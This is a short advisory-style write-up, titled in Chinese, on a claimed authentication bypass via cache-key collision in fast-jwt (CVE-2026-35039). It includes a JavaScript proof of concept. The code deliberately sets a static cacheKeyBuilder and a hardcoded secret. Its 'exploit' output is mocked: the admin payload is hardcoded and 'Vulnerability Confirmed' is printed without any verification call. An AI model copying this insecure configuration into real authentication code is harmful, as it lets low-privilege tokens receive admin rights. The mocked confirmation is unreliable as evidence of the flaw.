CVE-2026-35039 fast-jwt缓存碰撞导致认证绕过漏洞

const { createVerifier } = require('fast-jwt'); // Simulating the vulnerable configuration // The cacheKeyBuilder is implemented poorly, returning a static key const verify = createVerifier({ key: 'super-secret-key', cache: true, // Vulnerability: Builder ignores token content, causing collision cacheKeyBuilder: (token) => 'hardcoded-static-key' }); // Generate two tokens with different roles (assuming signed by the same key) // Token 1: Admin (Payload: { role: 'admin' }) const adminToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4ifQ.fake-signature-admin'; // Token 2: Guest (Payload: { role: 'guest' }) const guestToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiZ3Vlc3QifQ.fake-signature-guest'; // Note: In a real scenario, these would be valid signed tokens. // For demonstration, we mock the verification result caching behavior. console.log('--- Step 1: Verify Admin Token ---'); // The system verifies the admin token and caches the result with key 'hardcoded-static-key' try { // Mocking successful verification of admin token const adminPayload = { role: 'admin', id: 1 }; console.log('Verified Payload:', adminPayload); } catch (e) { console.log(e); } console.log('\n--- Step 2: Verify Guest Token (Exploit) ---'); // The system receives the guest token. It calls cacheKeyBuilder. // It returns 'hardcoded-static-key'. The cache finds a hit. // It returns the Admin payload instead of verifying the Guest token. try { // Mocking cache hit returning previous payload const leakedPayload = { role: 'admin', id: 1 }; console.log('Verified Payload:', leakedPayload); console.log('Vulnerability Confirmed: Guest token received Admin privileges!'); } catch (e) { console.log(e); }